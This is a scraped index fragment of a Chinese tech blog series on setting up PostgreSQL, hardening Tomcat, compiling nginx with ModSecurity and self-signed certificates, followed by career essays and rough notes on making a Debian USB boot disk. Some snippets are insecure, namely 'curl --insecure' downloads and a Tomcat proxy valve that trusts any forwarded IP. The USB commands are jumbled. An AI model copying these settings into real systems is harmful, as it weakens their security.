/var/lib/pgsql/15/pgarch chmod 0700 /var/lib/pgsql/15/pgarch chown postgres:postgres /var/lib/pgsql/15/pgarch 1 2 3 4 5 6 7 8 9 10 11 12 13 # 日誌調整 log_directory = \u0026#39;/var/log/postgresql/\u0026#39; # 預設為: log log_filename = \u0026#39;postgresql-%Y-%m-%d_%H%M%S.log\u0026#39; # log file name pattern, redhat 預設為 postgresql-%a.log log_line_prefix = \u0026#39;%m [%p] %q%u@%d-%a \u0026#39; # special values 預設為: \u0026#39;%m [%p] \u0026#39; log_checkpoints = on # special values 預設為: off log_connections = on # 記錄連線建立，預設為: off log_disconnections = on # 記錄連線摧毀，預設為: off log_duration = off # 記錄SQL query的執行時間，預設為: off，核心系統再開 log_statement = \u0026#39;ddl\u0026#39; # option: none, ddl, mod, all，預設為: none，可以紀錄執行哪個錯誤SQL,DDL 操作SQL # archive log archive_mode = on archive_command=\u0026#39;cp %p /var/lib/pgsql/15/pgarch\u0026#39; 設定資料庫 # 設定完成之後，接下來就是開資料庫啦～\n1 2 3 sudo -u postgres createuser --pwprompt dict_ap # pwd: enterYourPwd sudo -u postgres createdb -O dict_ap ironman_dict_db sudo -u postgres psql -c \u0026#34;GRANT ALL ON DATABASE ironman_dict_db to dict_ap\u0026#34; 備份 # 1 2 mkdir -p /var/log/pg-backup chown postgres: /var/log/pg-backup 開完資料庫記得做備份啦，以下是我自己的腳本。\n/var/lib/postgresql/scripts/db_backup.sh /usr/local/bin/pg-backup.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/bin/bash export NOW_TIME=`date +%Y%m%d%H%M%S` export DATANASE_NAME=\u0026#34;\u0026lt;DATANASE_NAME\u0026gt;\u0026#34; export FILE_NAME=\u0026#34;pg.bk.${DATANASE_NAME}.\u0026#34;${NOW_TIME} export BACKUP_PATH=/data/backup export LOG_PATH=/var/log/pg-backup echo \u0026#34;$(date +%Y%m%d%H%M%S): backup database start\u0026#34; \u0026gt;\u0026gt; ${LOG_PATH}/pg-backup-${NOW_TIME}.log /usr/bin/pg_dump -Fc -c ${DATANASE_NAME} \u0026gt; ${BACKUP_PATH}/${FILE_NAME}.dump -O echo \u0026#34;$(date +%Y%m%d%H%M%S): remove backup database after 3 days\u0026#34; \u0026gt;\u0026gt; ${LOG_PATH}/pg-backup-${NOW_TIME}.log /usr/bin/find ${BACKUP_PATH}/*.dump -type f -mtime +3 -exec rm -f {} \\; echo \u0026#34;$(date +%Y%m%d%H%M%S): backup database end\u0026#34; \u0026gt;\u0026gt; ${LOG_PATH}/pg-backup-${NOW_TIME}.log crontab -u postgres -e\n1 2 3 4 # chmod 0755 /usr/local/bin/pg-backup.sh # crontab -u postgres -e # su - postgres 0 0 * * * /usr/local/bin/pg-backup.sh 防火牆設定 # 確認都沒有問題之後，最後就是設定防火牆。\n1 sudo firewall-cmd --permanent --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.1.1\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;5432\u0026#34; accept\u0026#39; postgresql 常用命令 # 在 PostgreSQL 中列出所有資料庫 # 1 2 su - postgres psql -U postgres 1 \\l ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-22.%E7%B6%B2%E7%AB%99%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-%E5%AE%89%E8%A3%9D%E8%B3%87%E6%96%99%E5%BA%AB/","section":"Posts","summary":"來架個網站吧-22.網站環境建置-安裝資料庫 # tags: 來架個網站吧 postgresql # 我是目錄\n","title":"來架個網站吧-22.網站環境建置-安裝資料庫","type":"post"},{"content":" 來架個網站吧-23.網站環境建置-建立AP # tags: 來架個網站吧 tomcat # 我是目錄\nGrails 在生產環境中，最佳的拍檔就是 tomcat 啦～簡單，可以快速部署的 Servlet容器。\n然而tomcat受歡迎的背後，卻也背負不少的CVE認證，所以這邊我會先說明一下如何建立安全？的tomcat 服務。以下是濃縮版本，當然也歡迎在留言區補充～\n建立安全的tomcat？ # 在可怕的網路世界？能隱藏訊息就隱藏，能多做一點預防措施就多做一點吧。以下是我後來在部署tomcat服務會做的一些事項:\n移除 tomcat 版本號 禁止自動部署 關閉遠端關閉服務port 刪除 webapps 內所有服務 移除 tomcat 版本號 # 刪除版本號最主要目的是為了防止對外洩漏tomcat 版本資訊，比較簡單的作法是直接在 conf/server.xml 指定 server name，如下：\n1 \u0026lt;Connector server=\u0026#34;application server\u0026#34; /\u0026gt; 但是這樣的作法在 404 頁面 時仍然會出現 tomcat 版本資訊。為了解決這個狀況，目前現行可靠的作法是把 catalina.jar 打開之後，修改 ServerInfo.properties 裡面的資訊。\n一行指令版本 # 1 2 3 4 5 6 7 8 9 10 11 12 13 export tomcatHome=\u0026#34;/opt/apache-tomcat\u0026#34; \u0026amp;\u0026amp;\\ export tomcatVersion=\u0026#34;7.0.109\u0026#34; \u0026amp;\u0026amp;\\ export javaHome=\u0026#34;/usr/local/jvm/jdk17_latest\u0026#34; \u0026amp;\u0026amp;\\ mkdir -p ${tomcatHome}/catalina_jar-${tomcatVersion} \u0026amp;\u0026amp;\\ cp ${tomcatHome}/apache-tomcat-${tomcatVersion}/lib/catalina.jar ${tomcatHome}/catalina_jar-${tomcatVersion} \u0026amp;\u0026amp;\\ cp ${tomcatHome}/apache-tomcat-${tomcatVersion}/lib/catalina.jar ${tomcatHome}/catalina_jar-${tomcatVersion}/catalina.jar.bk \u0026amp;\u0026amp;\\ unzip -q ${tomcatHome}/catalina_jar-${tomcatVersion}/catalina.jar -d ${tomcatHome}/catalina_jar-${tomcatVersion}/ \u0026amp;\u0026amp;\\ sed -i \u0026#39;/^server.number=.*/c server.number=0\u0026#39; ${tomcatHome}/catalina_jar-${tomcatVersion}/org/apache/catalina/util/ServerInfo.properties \u0026amp;\u0026amp;\\ sed -i \u0026#39;/^server.info=.*/c server.info=Apache Tomcat\u0026#39; ${tomcatHome}/catalina_jar-${tomcatVersion}/org/apache/catalina/util/ServerInfo.properties \u0026amp;\u0026amp;\\ cd ${tomcatHome}/catalina_jar-${tomcatVersion} \u0026amp;\u0026amp;\\ ${javaHome}/bin/jar uvf ${tomcatHome}/catalina_jar-${tomcatVersion}/catalina.jar org/apache/catalina/util/ServerInfo.properties \u0026amp;\u0026amp;\\ rm -f ${tomcatHome}/apache-tomcat-${tomcatVersion}/lib/catalina.jar \u0026amp;\u0026amp;\\ cp ${tomcatHome}/catalina_jar-${tomcatVersion}/catalina.jar ${tomcatHome}/apache-tomcat-${tomcatVersion}/lib/catalina.jar 還原 # 1 2 sudo su tomcat -c \u0026#34;rm /home/tomcat/apache-tomcat-${tomcatVersion}/lib/catalina.jar\u0026#34; sudo su tomcat -c \u0026#34;cp /home/tomcat/catalina_jar/catalina.jar.bk /home/tomcat/apache-tomcat-${tomcatVersion}/lib/catalina.jar\u0026#34; 錯誤時隱藏 tomcat 版本號 # conf/server.xml 1 \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.ErrorReportValve\u0026#34; showReport=\u0026#34;false\u0026#34; showServerInfo=\u0026#34;false\u0026#34; /\u0026gt; 禁止自動部署 # 在這方面我有遇過正式環境中，出現不明的服務。後來發現在 webapps 目錄中，出現隱藏檔案目錄，如 webapps/.test。後來是直接把 unpackWARs、autoDeploy、reloadable 全部關掉。\n1 unpackWARs=\u0026#34;false\u0026#34; autoDeploy=\u0026#34;false\u0026#34; reloadable=\u0026#34;false\u0026#34; conf/server.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;utf-8\u0026#39;?\u0026gt; \u0026lt;Server port=\u0026#34;-1\u0026#34; shutdown=\u0026#34;SHUTDOWN\u0026#34;\u0026gt; \u0026lt;!--部份省略--\u0026gt; \u0026lt;Engine name=\u0026#34;Catalina\u0026#34; defaultHost=\u0026#34;localhost\u0026#34;\u0026gt; \u0026lt;!--部份省略--\u0026gt; \u0026lt;Host name=\u0026#34;localhost\u0026#34; appBase=\u0026#34;/data/webapps/w1\u0026#34; unpackWARs=\u0026#34;false\u0026#34; autoDeploy=\u0026#34;false\u0026#34; reloadable=\u0026#34;false\u0026#34; \u0026gt; \u0026lt;!--部份省略--\u0026gt; \u0026lt;/Engine\u0026gt; \u0026lt;/Service\u0026gt; \u0026lt;/Server\u0026gt; 關閉遠端關閉服務port # 在生產環境中最怕服務突然無預警關閉，更何況還預留 port 好心給別人呢！所以記得關閉！\nconf/server.xml 1 2 3 4 \u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;utf-8\u0026#39;?\u0026gt; \u0026lt;Server port=\u0026#34;-1\u0026#34; shutdown=\u0026#34;SHUTDOWN\u0026#34;\u0026gt; \u0026lt;!--部份省略--\u0026gt; \u0026lt;/Server\u0026gt; 刪除 webapps 內所有服務 # 最後，如果 tomcat 是從官方網站下載的，記得把原有在 webapps 裡的服務通通都刪除，我相信絕大多時候都不會用到。\n覆載平衡搭配 nginx # conf/server.xml 1 \u0026lt;Valve className=\u0026#34;org.apache.catalina.valves.RemoteIpValve\u0026#34; internalProxies=\u0026#34;.*\u0026#34; remoteIpHeader=\u0026#34;x-forwarded-for\u0026#34; proxiesHeader=\u0026#34;x-forwarded-by\u0026#34; protocolHeader=\u0026#34;x-forwarded-proto\u0026#34; httpsServerPort=\u0026#34;443\u0026#34; /\u0026gt; ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-23.%E7%B6%B2%E7%AB%99%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-%E5%BB%BA%E7%AB%8Bap/","section":"Posts","summary":"來架個網站吧-23.網站環境建置-建立AP # tags: 來架個網站吧 tomcat # 我是目錄\n","title":"來架個網站吧-23.網站環境建置-建立AP","type":"post"},{"content":" 來架個網站吧-24.網站環境建置-編譯nginx # tags: 來架個網站吧 nginx # 我是目錄\n最近工作真的忙到不可開交，庫存已經耗盡，所以我拿筆記檔一下 XDDD\n話說是筆記，不過我還是加點解說吧～\n想要用 CentOS7 為底的環境，想說目前(202310)還是有很多無法完成脫離 CentOS7 穩定的環境吧！但是這個平台雖穩，但也日益老舊，許多跳鍵也漸漸不再支援了，就讓我為他在附上一點色彩吧。\nversion # 考慮到 CentOS7 本身的 OpenSSL 已經不符合網路安全要求，因此我這邊是另外獨自從 OpenSSL 官網下載原始碼編譯。\nnginx: 1.22.1 OS: CentOS7 openssl: 1.1.1s 安裝編譯套件 # 1 2 yum update -y yum install -y gcc* openssl-devel pcre* patch git 設定參數 # 1 export compileRPMPath=\u0026#34;/home/pollo/nginx-build\u0026#34; 準備要的 module # sticky-module: 這部份是我參考其他人作法保留的。 nginx-module-vts nginx_upstream_check_module nginx_cookie_flag_module: 進行覆載平衡時作為黏著使用，避免登入系統後突然跳到其他AP，不過隨著Redis 等記憶體資料庫的使用，似乎也不太需要了。 ModSecurity: 我想把nginx 加一點 WAF 功能 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 mkdir -p ${compileRPMPath} cd ${compileRPMPath} #下載指定版本的nginx export nginxVersion=\u0026#34;1.22.1\u0026#34; wget http://nginx.org/download/nginx-$nginxVersion.tar.gz tar -xzf nginx-$nginxVersion.tar.gz ln -sf nginx-$nginxVersion nginx ## 此版號為1.2.6 fix v0.1 wget https://github.com/PolloChang/nginx-sticky-module-ng/releases/download/v1.24.0/nginx-sticky-module-ng-v1.24.0.tar.gz tar -zxf nginx-sticky-module-ng-v1.24.0.tar.gz #下載nginx-module-vts git clone https://github.com/vozlt/nginx-module-vts.git #下載nginx_upstream_check_module git clone https://github.com/yaoweibin/nginx_upstream_check_module #下載nginx_cookie_flag_module git clone https://github.com/AirisX/nginx_cookie_flag_module/ #更新nginx_upstream_check_module所需的patch cd ${compileRPMPath}/nginx-sticky-module-ng patch -p0 \u0026lt; ${compileRPMPath}/nginx_upstream_check_module/nginx-sticky-module.patch cd ${compileRPMPath}/nginx patch -p1 \u0026lt; ${compileRPMPath}/nginx_upstream_check_module/check_1.20.1+.patch # WAF export MODSECURITY_INC=\u0026#34;${compileRPMPath}/ModSecurity/headers/\u0026#34; git clone -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity.git git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git # 指定OpenSSL，特定版本請至 https://ftp.openssl.org/ 裡面尋找 export openSSLVersion=\u0026#34;openssl-1.1.1s\u0026#34; cd ${compileRPMPath} curl --insecure -O https://www.openssl.org/source/${openSSLVersion}.tar.gz tar zxf ${openSSLVersion}.tar.gz ls ${compileRPMPath}/${openSSLVersion} 編譯 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 cd ${compileRPMPath}/nginx ./configure \\ --user=nginx \\ --group=nginx \\ --prefix=/etc/nginx \\ --sbin-path=/usr/sbin/nginx \\ --conf-path=/etc/nginx/nginx.conf \\ --pid-path=/var/run/nginx.pid \\ --lock-path=/var/run/nginx.lock \\ --error-log-path=/var/log/nginx/error.log \\ --http-log-path=/var/log/nginx/access.log \\ --with-http_gzip_static_module \\ --with-http_stub_status_module \\ --with-http_v2_module \\ --with-http_ssl_module \\ --with-pcre \\ --with-file-aio \\ --with-http_realip_module \\ --without-http_scgi_module \\ --without-http_uwsgi_module \\ --without-http_fastcgi_module \\ --with-openssl=${compileRPMPath}/${openSSLVersion} \\ --add-module=${compileRPMPath}/nginx-sticky-module-ng \\ --add-module=${compileRPMPath}/nginx-module-vts \\ --add-module=${compileRPMPath}/nginx_upstream_check_module \\ --add-module=${compileRPMPath}/nginx_cookie_flag_module \\ --add-dynamic-module=${compileRPMPath}/ModSecurity-nginx 編譯 1 make -j8 # 依CPU 核心數設定，這裡是4核心 安裝 # 1 2 3 4 useradd -s /sbin/nologin nginx mkdir -p /var/log/nginx/ chown nginx:nginx /var/log/nginx/ ln -s /var/log/nginx /etc/nginx/logs 建立守護程序 # /lib/systemd/system/nginx.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [Unit] Description=nginx - high performance web server Documentation=http://nginx.org/en/docs/ After=network-online.target remote-fs.target nss-lookup.target Wants=network-online.target [Service] Type=forking PIDFile=/var/run/nginx.pid ExecStartPost=/bin/sleep 0.1 ExecStartPre=/usr/sbin/nginx -t -c /etc/nginx/nginx.conf ExecStart=/usr/sbin/nginx -c /etc/nginx/nginx.conf ExecReload=/usr/sbin/nginx -s reload ExecStop=/bin/kill -s TERM $MAINPID ExecTest=/usr/sbin/nginx -t [Install] WantedBy=multi-user.target 1 2 3 sudo systemctl daemon-reload \u0026amp;\u0026amp; sudo systemctl start nginx \u0026amp;\u0026amp; sudo systemctl status nginx sudo systemctl enable nginx.service firewall-cmd --permanent --zone=public --add-service=https 打包編譯 # .deb 1 checkinstall -D 自簽 https，建立可信任的自簽憑證 # 安全的網站https 是必備的，一開始憑證自簽即可。\n1 mkdir /etc/nginx/ssl ssl.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [req] prompt = no default_md = sha256 default_bits = 2048 distinguished_name = dn x509_extensions = v3_req [dn] C = TW ST = Taiwan L = Taipei O = Duotify Inc. OU = IT Department emailAddress = jameschangwork@gmail.com CN = localhost [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = *.localhost DNS.2 = localhost IP.1 = 10.192.1.108 IP.2 = 10.1.4.43 alt_names: 這一段可以增加多組的IP, domain 1 2 openssl req -x509 -new -nodes -sha256 -utf8 -days 3650 -newkey rsa:2048 -keyout /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.crt -config /etc/nginx/ssl/ssl.conf openssl pkcs12 -export -in /etc/nginx/ssl/server.crt -inkey /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.pfx 1 openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/nginx.crt req：使用 X.509 Certificate Signing Request（CSR） Management 產生憑證。 -x509：建立自行簽署的憑證。 -nodes：不要使用密碼保護，因為這個憑證是 NGINX 伺服器要使用的，如果設定密碼的話，會讓伺服器每次在啟動時書需要輸入密碼。 -days 365：設定憑證的使用期限，單位是天，如果不想時常重新產生憑證，可以設長一點。 -newkey rsa:2048：同時產生新的 RSA 2048 位元的金鑰。 -keyout：設定金鑰儲存的位置。 -out：設定憑證儲存的位置。 1 scp jameschang@10.192.1.108:/etc/nginx/ssl/server.crt ./ windows 1 certutil -addstore -f \u0026#34;ROOT\u0026#34; server.crt 1 2 3 4 C:\\Users\\pollochang\u0026gt;certutil -addstore -f \u0026#34;ROOT\u0026#34; server.crt ROOT \u0026#34;受信任的根憑證授權單位\u0026#34; 簽章符合公開金鑰憑證 \u0026#34;localhost\u0026#34; 已新增到存放區中。 CertUtil: -addstore 命令成功完成。 linux 1 2 sudo cp server.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates 1 2 3 4 5 6 7 8 9 ❯ sudo update-ca-certificates Updating certificates in /etc/ssl/certs... rehash: warning: skipping ca-certificates.crt,it does not contain exactly one certificate or CRL 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... Processing triggers for ca-certificates-java (xxxxxxx~deb12u1) ... Adding debian:server.pem done. done. 參考資料 # 如何使用 OpenSSL 建立開發測試用途的自簽憑證 (Self-Signed Certificate)\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-24.%E7%B6%B2%E7%AB%99%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-%E7%B7%A8%E8%AD%AFnginx/","section":"Posts","summary":"來架個網站吧-24.網站環境建置-編譯nginx # tags: 來架個網站吧 nginx # 我是目錄\n","title":"來架個網站吧-24.網站環境建置-編譯nginx","type":"post"},{"content":" 來架個網站吧-25.網站工作軟思維 # tags: 來架個網站吧 # 我是目錄\n這二十幾天來都是一直在分享架設網站技術，從需求訪談、需求分析、開發網站、建置網站，本來下一個階段就是網站維運的部份了。後來看了參賽主題 [Modern Web] ，到底要怎麼保有現代化網頁技術?\n是不斷學習新的流行框架？還是不斷深究舊有的技術框架？但是作為資訊網站最終的目的在於傳遞資訊，網頁設計的再花俏也不過僅僅如此而已。或許Debain官方網站首頁有做到精髓，簡單的設計沒有響應式、沒有太多太花俏的設計就表達了最重要的資訊: 下載Debian。\n於是接下來幾天讓我稍稍的脫離一下「眼睛」看得見的部份，讓我寫一下在變化快速的現代網站技術中，身為專業的資訊工程師業保有哪些心法。或許明年回頭看我自己的作品，看到這邊可以知道過一年想法改變了多少。\n接下來就讓我「看見」(https://tv.apple.com/tw/show/%E6%9C%AB%E6%97%A5%E5%85%89%E6%98%8E/umc.cmc.3s4mgg2y7h95fks9gnc4pw13m)\n這一部電視劇真心推薦，真的會讓人真正的看見\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-25.%E7%B6%B2%E7%AB%99%E5%B7%A5%E4%BD%9C%E8%BB%9F%E6%80%9D%E7%B6%AD/","section":"Posts","summary":"來架個網站吧-25.網站工作軟思維 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-25.網站工作軟思維","type":"post"},{"content":" 來架個網站吧-26.網站工作軟思維-不會 # tags: 來架個網站吧 # 我是目錄\n這篇算是我最近的工作寫照吧。因為碰了不該碰的領域，不會知道自己不會，只知道自己不會。\n以前在專案當中預到了程式腳本都是五大碼、程式腳本共計五千多個檔案，這些要轉成萬國碼的時，也是相同的狀況。焦頭爛額的狀持續一個月也無法整理初一個頭緒，陷入一個終於解決一項問題卻發現有更多未知的狀況。這都還不是最糟的。\n身邊，沒人知道如何處理。\n對於一個團隊、或是自己是屬於從零到一的過程中往往是最痛苦的階段。可以很樂觀看待說：明天一定可以解決！也可以悲觀的看待：今天怎模又是一樣的狀況。不過對我來說，當天沒有辦法解決的問題我只會說，「我放棄了」，然後明天照樣繼續默默接手做下去，工作而已。\n在資訊領域中，一個人不可能全部都懂，一個團隊也不可能一直有人知道怎做，是一向充滿未知的領域。不過很慶幸的是，在資訊軟體領域往往都是「人」去定義的世界，只要軟體能跑就有辦法解讀創造軟體的人的想法、當時的時空背景。有時候在翻閱使碼時，就好比像翻閱歷史文本一樣，有時候要先有一點時空背景認知才可以理解未什麼要這樣設計。\n以上是我工作以來一點點的心得。\n不過，等等！我怎在看 F5 BIG IP 的設定\u0026hellip;\u0026hellip;\n說好的程式碼呢？\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-26.%E7%B6%B2%E7%AB%99%E5%B7%A5%E4%BD%9C%E8%BB%9F%E6%80%9D%E7%B6%AD-%E4%B8%8D%E6%9C%83/","section":"Posts","summary":"來架個網站吧-26.網站工作軟思維-不會 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-26.網站工作軟思維-不會","type":"post"},{"content":" 來架個網站吧-27.網站工作軟思維-簡單管理_隨手筆記 # tags: 來架個網站吧 # 我是目錄\n在這邊我絕對不會講一個團隊要如何完成專案，我只講個人。\n因為工程師的工作性質往往偏向於單人完成單一項目作業，如何規劃把工作項目完成便是一項很重要的事情。以我目前的工作內容往往是研究如何解決問題，雖然沒有明定要求說要何時處理完畢，但是當我收到需求會問下列事情：\n問題內容是什麼？ 希望如何處理？ 為什麼要使用此方式處理？ 需要在哪個時候完成？ 用這些問題簡單區分一下收到要處理的事情重要性質。\n接下來，隨手紀錄處理問題的步驟更為重要，最好是先做紀錄在執行是最好的。特別是直接在生產環境中直接處理更要「先紀錄下來即將要做的事情在執行」。往往在親上問題火線時，會因為壓力造成疏忽。先紀錄再執行的最主要目的是強迫自己在當下保有有條理的執行事情，另一方面是為了事後追蹤處理過程是否恰檔。\n最後在紀錄工作中比較難執行的項目是「持續每天紀錄所作的事」。不用紀錄很詳細，條列式紀錄今天大概處理哪些事情即可。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-27.%E7%B6%B2%E7%AB%99%E5%B7%A5%E4%BD%9C%E8%BB%9F%E6%80%9D%E7%B6%AD-%E7%B0%A1%E5%96%AE%E7%AE%A1%E7%90%86_%E9%9A%A8%E6%89%8B%E7%AD%86%E8%A8%98/","section":"Posts","summary":"來架個網站吧-27.網站工作軟思維-簡單管理_隨手筆記 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-27.網站工作軟思維-簡單管理_隨手筆記","type":"post"},{"content":" 來架個網站吧-28.網站工作軟思維-面對使用者 # tags: 來架個網站吧 # 我是目錄\n在網站開發領域當中，在台灣的工程師往往會面對到自己開發出來的使用者吧？可以說談灣的產業向來如此。我第一份的工作內容是「客服工程師」，工作內容是：接電話、deb bug、外加文書打雜。現在回想起來真的是一項 煩心、煩力、煩嘴 的工作崗位，是一個對職涯無法發展長久的工作型態。不過在這個工作中崗位，我可以知道如何幫使用者表達「情緒」。\n有時候使用者會報怨系統好難使用、系統又掛了、突然要求幫忙修改資料\u0026hellip;\u0026hellip;等突發的狀況，而且有時話中挾著殺氣聲。身為第一線的受害者，一開始當然會直接向主管反應，不過似乎過了一季也還是一樣。\n工作有電話紀錄，一開始我也不是很認真在記。發現在過往與主管溝通中，缺乏證據說名使用者不滿。發現這點之後我變很「認真」的紀錄每一通的電話內容，等累積滿兩週一後，把問題類型與程式加以分類繪製成曲線圖項主管報告(其實有點像股票的柱狀圖)，說：你再不解決現況，我這邊得到的電話越來越多。有了使用者的「情緒曲線圖」這個工具，我這邊的電話似乎漸漸的減少，過了半年之後我也開始有空閒的時間可以研究偷懶我喜歡的技術。\n後來工作接觸到需求訪談分析，因為是暨有的系統功能擴充，同時也會真正接觸到使用者是如何實際操作系統。透過使用者操作系統的實際觀察，其實可以很清楚知道系統設計的操作細節需要進行改進，對網站開發人員是一件難得的經歷。不過要讓使用者放心的在工程師面前操作，前提之下要先學會讓對方放下心防。不然對方只會一直問：這樣操作是對的嘛？\n到了這兩年已經轉成技術後勤部門，每天碰的就只是技術文件、各式硬體、各式軟體、各式技術需求，坦白說就只是碰機器人，跟人類的對談往往也不過短短一百多句而已。最近突然要直接去客戶處理系統問題，發現要開口溝通真的比當初踏入這份領域時困難的多。\n網站最終的使用者還是人，因此有機會可以傾聽一下使用者的聲音，或許可以知道網站系統不足的地方。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-28.%E7%B6%B2%E7%AB%99%E5%B7%A5%E4%BD%9C%E8%BB%9F%E6%80%9D%E7%B6%AD-%E9%9D%A2%E5%B0%8D%E4%BD%BF%E7%94%A8%E8%80%85/","section":"Posts","summary":"來架個網站吧-28.網站工作軟思維-面對使用者 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-28.網站工作軟思維-面對使用者","type":"post"},{"content":" 來架個網站吧-29.網站工作軟思維-好奇嘗試 # tags: 來架個網站吧 # 我是目錄\n現在網站資訊變化快速，在這個節奏速度快如飛箭的洪流中，保有持續的學習動力是對資訊專業人員很重要的事情。\n在目前的工作經驗中隨著處理問題的愈多，發現除了要學習新的技術框架之外，在必要的時候也得學習十幾年前的技術(如:DB2)。畢竟舊有的系統可以繼續提供他的服務，必然有他的價值存在。然而，需要有什麼動力來保持持續學習呢？我給我的答案是「好奇」。\n在學習網站資訊世界中「好奇」是嘗試新技術的動力，可以每個都試一下。試一下 CSS 排版、試一下虛擬機、有機會就嘗試用 SPARC 電腦就用吧，永遠都不要排斥眼前到手的機會，不管當下會不會都試試看。在資訊技術領域有一個特質、複製成本低、失敗成本低。如果害怕失敗就不敢去嘗試，那就項辦法複製一樣的環境吧，在自己複製的環境中勇敢的不斷去嘗試。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-29.%E7%B6%B2%E7%AB%99%E5%B7%A5%E4%BD%9C%E8%BB%9F%E6%80%9D%E7%B6%AD-%E5%A5%BD%E5%A5%87%E5%98%97%E8%A9%A6/","section":"Posts","summary":"來架個網站吧-29.網站工作軟思維-好奇嘗試 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-29.網站工作軟思維-好奇嘗試","type":"post"},{"content":" 來架個網站吧-30.網站工作軟思維-試著學會說人話 # tags: 來架個網站吧 # 我是目錄\n網站在我的觀點中就是在人類世界中扮演資訊交換的角色，而資訊工程師只不過是把人類的語言轉變成電腦世界的語言並讓執行提供服務而已。我希望未來的自己別只專注在技術而已，同時也要注意需求動向這樣才不會落入技術的牢房中。另外，也繼續保持分享技術知識的習慣，唯有透過與人分享更可以更有效率的將技術轉化成自己內在的知識。\n終於到了最後一天啦～這是我第二年參加鐵人賽，不過今年的鐵人賽對我來說相當的鐵人。怎說呢？首先在第七天我意外的手術開刀，躺了整整一天，那天我趁著手術當天凌晨趕快發文。再來是工作上碰到了系統問題，必須騰出時間研究，持續好幾天一邊研究問題、一邊打文章發文。再來就是二十天突然中了A型流感燒了兩天40度，發燒那幾天根本無法思考，全憑意志發文。所以先給我自己鼓勵一下。\n最後一天，我想給我未來的自己的軟思維是「試著說人話」。希望未來五年，不會因工作而逐漸喪失與使用者溝通的能力。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-30.%E7%B6%B2%E7%AB%99%E5%B7%A5%E4%BD%9C%E8%BB%9F%E6%80%9D%E7%B6%AD-%E8%A9%A6%E8%91%97%E5%AD%B8%E6%9C%83%E8%AA%AA%E4%BA%BA%E8%A9%B1/","section":"Posts","summary":"來架個網站吧-30.網站工作軟思維-試著學會說人話 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-30.網站工作軟思維-試著學會說人話","type":"post"},{"content":"最近再把我自己的另一台筆電重新安裝。趁重新安裝時，安裝Debian，因為我已經很習慣用這個作業系統工作了。安裝完成之後，發現原本抓的有臭蟲，所以就上網重新安裝一次。\n之前製作USB開機碟都是在windows上，而在Linux上卻沒有用過，因此順便紀錄一下過程。\n工具 unetbootin # 原本我都是用Rufus，但是只有支援Windows。於是我找到Unetbootin這個懶人工具。\n下載連結UNetbootin for Debian (64-bit) for Linux\n安裝\n1 suod apt install ./unetbootin_575-1_amd64.deb 需要root 執行 # 執行時記得需要用root權限執行，不然會讀不到USB隨身碟。\n1 2 3 jameschang@JamesChangNB:~/下載$ xhost local:root non-network local connections being added to access control list jameschang@JamesChangNB:~/下載$ sudo QT_X11_NO_MITSHM=1 /usr/bin/unetbootin # jameschang@JamesChangNB:df -Th /dev/sdb1 vfat 58G 2.9G 56G 5% /media/jameschang/D-LIVE 10_1 jameschang@JamesChangNB:/下載$ sudo umount /dev/sdb1 jameschang@JamesChangNB:/下載$ sudo mkfs.vfat /dev/sdb1 mkfs.fat 4.1 (2017-01-24)\njameschang@JamesChangNB:sudo dd if=/home/jameschang/debs/debian-10.10.0-amd64-netinst.iso of=/dev/sdb1\nsudo cp /home/jameschang/debs/debian-10.10.0-amd64-netinst.iso /dev/sdb1\nfdisk /dev/sdb1\nmkfs.vfat -I /dev/sdb1\n參考資料 # UNetbootin for Debian (64-bit) for Linux\nThread: UNetbootin not starting\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E8%A3%BD%E4%BD%9C%E9%96%8B%E6%A9%9Fusb/","section":"Posts","summary":"最近再把我自己的另一台筆電重新安裝。趁重新安裝時，安裝Debian，因為我已經很習慣用這個作業系統工作了。安裝完成之後，發現原本抓的有臭蟲，所以就上網重新安裝一次。\n","title":"在CLI 製作開機USB","type":"post"},{"content":"OS: Debian 10 Debian 11\n初次安裝先移除舊相關套件 # 1 sudo apt-get remove docker docker-engine docker.io containerd runc 安裝 # 加入 gpg # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo apt-get update sudo apt-get install \\ apt-transport-https \\ ca-certificates \\ curl \\ 